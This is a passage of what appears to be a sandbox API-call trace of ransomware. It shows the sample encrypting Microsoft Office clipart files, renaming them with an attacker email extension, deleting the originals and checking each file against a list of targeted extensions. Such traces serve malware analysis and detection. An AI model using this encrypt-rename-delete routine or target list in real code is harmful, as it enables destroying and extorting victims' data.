(in: hFile=0x370, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=5908) returned 1 [0206.425] CloseHandle (hObject=0x370) returned 1 [0206.425] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105266.wmf")) returned 0x220 [0206.425] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105266.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0206.425] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105266.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0206.426] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.426] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.426] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105266.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0206.427] GetLastError () returned 0x0 [0206.427] ReadFile (in: hFile=0x370, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x1714, lpOverlapped=0x0) returned 1 [0206.428] WriteFile (in: hFile=0x568, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0x1720, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0x1720, lpOverlapped=0x0) returned 1 [0206.429] ReadFile (in: hFile=0x370, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0206.429] WriteFile (in: hFile=0x568, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0206.429] SetEndOfFile (hFile=0x568) returned 1 [0206.429] CloseHandle (hObject=0x568) returned 1 [0206.429] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.429] SetEndOfFile (hFile=0x370) returned 1 [0206.432] CloseHandle (hObject=0x370) returned 1 [0206.432] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0206.433] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105266.wmf")) returned 1 [0206.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68 [0206.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68 [0206.433] lstrlenW (lpString=".doc") returned 4 [0206.433] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0206.433] lstrlenW (lpString=".docx") returned 5 [0206.433] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0206.433] lstrlenW (lpString=".pdf") returned 4 [0206.433] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0206.433] lstrlenW (lpString=".xls") returned 4 [0206.434] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0206.434] lstrlenW (lpString=".xlsx") returned 5 [0206.434] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0206.434] lstrlenW (lpString=".ppt") returned 4 [0206.434] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0206.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68 [0206.434] lstrlenW (lpString=".zip") returned 4 [0206.434] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0206.434] lstrlenW (lpString=".rar") returned 4 [0206.434] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0206.434] lstrlenW (lpString=".bz2") returned 4 [0206.434] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0206.434] lstrlenW (lpString=".7z") returned 3 [0206.434] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0206.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68 [0206.434] lstrlenW (lpString=".dbf") returned 4 [0206.434] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0206.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68 [0206.434] lstrlenW (lpString=".1cd") returned 4 [0206.434] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0206.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68 [0206.434] lstrlenW (lpString=".jpg") returned 4 [0206.434] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0206.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68 [0206.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68 [0206.434] lstrlenW (lpString=".doc") returned 4 [0206.434] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0206.434] lstrlenW (lpString=".docx") returned 5 [0206.434] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0206.434] lstrlenW (lpString=".pdf") returned 4 [0206.434] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0206.434] lstrlenW (lpString=".xls") returned 4 [0206.435] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0206.435] lstrlenW (lpString=".xlsx") returned 5 [0206.435] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0206.435] lstrlenW (lpString=".ppt") returned 4 [0206.435] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0206.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68 [0206.435] lstrlenW (lpString=".zip") returned 4 [0206.435] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0206.435] lstrlenW (lpString=".rar") returned 4 [0206.435] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0206.435] lstrlenW (lpString=".bz2") returned 4 [0206.435] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0206.435] lstrlenW (lpString=".7z") returned 3 [0206.435] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0206.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68 [0206.435] lstrlenW (lpString=".dbf") returned 4 [0206.435] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0206.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68 [0206.435] lstrlenW (lpString=".1cd") returned 4 [0206.435] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0206.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68 [0206.435] lstrlenW (lpString=".jpg") returned 4 [0206.435] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0206.435] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0206.435] lstrlenW (lpString="J0105328.WMF") returned 12 [0206.435] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105328.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0206.439] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=7992) returned 1 [0206.439] CloseHandle (hObject=0x370) returned 1 [0206.439] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105328.wmf")) returned 0x220 [0206.439] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105328.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0206.439] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105328.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0206.440] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.440] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.440] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105328.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0206.450] GetLastError () returned 0x0 [0206.450] ReadFile (in: hFile=0x370, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x1f38, lpOverlapped=0x0) returned 1 [0206.452] WriteFile (in: hFile=0x568, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0x1f40, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0x1f40, lpOverlapped=0x0) returned 1 [0206.454] ReadFile (in: hFile=0x370, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0206.454] WriteFile (in: hFile=0x568, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0206.454] SetEndOfFile (hFile=0x568) returned 1 [0206.454] CloseHandle (hObject=0x568) returned 1 [0206.454] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.454] SetEndOfFile (hFile=0x370) returned 1 [0206.468] CloseHandle (hObject=0x370) returned 1 [0206.468] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0206.469] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105328.wmf")) returned 1 [0206.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68 [0206.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68 [0206.470] lstrlenW (lpString=".doc") returned 4 [0206.470] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0206.470] lstrlenW (lpString=".docx") returned 5 [0206.470] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0206.470] lstrlenW (lpString=".pdf") returned 4 [0206.470] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0206.470] lstrlenW (lpString=".xls") returned 4 [0206.470] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0206.470] lstrlenW (lpString=".xlsx") returned 5 [0206.470] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0206.470] lstrlenW (lpString=".ppt") returned 4 [0206.470] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0206.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68 [0206.470] lstrlenW (lpString=".zip") returned 4 [0206.470] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0206.470] lstrlenW (lpString=".rar") returned 4 [0206.470] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0206.470] lstrlenW (lpString=".bz2") returned 4 [0206.470] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0206.470] lstrlenW (lpString=".7z") returned 3 [0206.470] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0206.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68 [0206.470] lstrlenW (lpString=".dbf") returned 4 [0206.470] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0206.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68 [0206.470] lstrlenW (lpString=".1cd") returned 4 [0206.470] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0206.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68 [0206.470] lstrlenW (lpString=".jpg") returned 4 [0206.470] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0206.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68 [0206.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68 [0206.471] lstrlenW (lpString=".doc") returned 4 [0206.471] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0206.471] lstrlenW (lpString=".docx") returned 5 [0206.471] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0206.471] lstrlenW (lpString=".pdf") returned 4 [0206.471] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0206.471] lstrlenW (lpString=".xls") returned 4 [0206.471] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0206.471] lstrlenW (lpString=".xlsx") returned 5 [0206.471] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0206.471] lstrlenW (lpString=".ppt") returned 4 [0206.471] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0206.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68 [0206.471] lstrlenW (lpString=".zip") returned 4 [0206.471] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0206.471] lstrlenW (lpString=".rar") returned 4 [0206.471] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0206.471] lstrlenW (lpString=".bz2") returned 4 [0206.471] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0206.471] lstrlenW (lpString=".7z") returned 3 [0206.471] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0206.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68 [0206.471] lstrlenW (lpString=".dbf") returned 4 [0206.471] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0206.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68 [0206.471] lstrlenW (lpString=".1cd") returned 4 [0206.471] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0206.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68 [0206.471] lstrlenW (lpString=".jpg") returned 4 [0206.472] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0206.472] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0206.472] lstrlenW (lpString="J0105332.WMF") returned 12 [0206.472] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105332.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0206.473] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=10508) returned 1 [0206.473] CloseHandle (hObject=0x370) returned 1 [0206.473] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105332.wmf")) returned 0x220 [0206.473] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105332.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0206.473] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105332.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0206.474] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.474] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.474] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105332.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0206.475] GetLastError () returned 0x0 [0206.475] ReadFile (in: hFile=0x370, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x290c, lpOverlapped=0x0) returned 1 [0206.476] WriteFile (in: hFile=0x568, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0x2910, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0x2910, lpOverlapped=0x0) returned 1 [0206.477] ReadFile (in: hFile=0x370, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0206.477] WriteFile (in: hFile=0x568, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0206.477] SetEndOfFile (hFile=0x568) returned 1 [0206.478] CloseHandle (hObject=0x568) returned 1 [0206.478] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.478] SetEndOfFile (hFile=0x370) returned 1 [0206.732] CloseHandle (hObject=0x370) returned 1 [0206.732] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0206.733] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105332.wmf")) returned 1 [0206.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68 [0206.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68 [0206.734] lstrlenW (lpString=".doc") returned 4 [0206.734] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0206.734] lstrlenW (lpString=".docx") returned 5 [0206.734] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0206.734] lstrlenW (lpString=".pdf") returned 4 [0206.734] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0206.734] lstrlenW (lpString=".xls") returned 4 [0206.734] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0206.734] lstrlenW (lpString=".xlsx") returned 5 [0206.734] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0206.734] lstrlenW (lpString=".ppt") returned 4 [0206.734] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0206.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68 [0206.734] lstrlenW (lpString=".zip") returned 4 [0206.734] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0206.734] lstrlenW (lpString=".rar") returned 4 [0206.735] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0206.735] lstrlenW (lpString=".bz2") returned 4 [0206.735] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0206.735] lstrlenW (lpString=".7z") returned 3 [0206.735] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0206.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68 [0206.735] lstrlenW (lpString=".dbf") returned 4 [0206.735] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0206.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68 [0206.735] lstrlenW (lpString=".1cd") returned 4 [0206.735] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0206.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68 [0206.735] lstrlenW (lpString=".jpg") returned 4 [0206.735] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0206.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68 [0206.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68 [0206.735] lstrlenW (lpString=".doc") returned 4 [0206.735] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0206.735] lstrlenW (lpString=".docx") returned 5 [0206.735] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0206.735] lstrlenW (lpString=".pdf") returned 4 [0206.735] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0206.735] lstrlenW (lpString=".xls") returned 4 [0206.735] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0206.735] lstrlenW (lpString=".xlsx") returned 5 [0206.735] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0206.735] lstrlenW (lpString=".ppt") returned 4 [0206.735] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0206.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68 [0206.735] lstrlenW (lpString=".zip") returned 4 [0206.736] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0206.736] lstrlenW (lpString=".rar") returned 4 [0206.736] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0206.736] lstrlenW (lpString=".bz2") returned 4 [0206.736] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0206.736] lstrlenW (lpString=".7z") returned 3 [0206.736] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0206.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68 [0206.736] lstrlenW (lpString=".dbf") returned 4 [0206.736] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0206.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68 [0206.736] lstrlenW (lpString=".1cd") returned 4 [0206.736] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0206.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68 [0206.736] lstrlenW (lpString=".jpg") returned 4 [0206.736] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0206.736] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0206.736] lstrlenW (lpString="J0105384.WMF") returned 12 [0206.736] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105384.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0206.737] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=5880) returned 1 [0206.737] CloseHandle (hObject=0x370) returned 1 [0206.737] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105384.wmf")) returned 0x220 [0206.737] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105384.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0206.738] CreateFileW 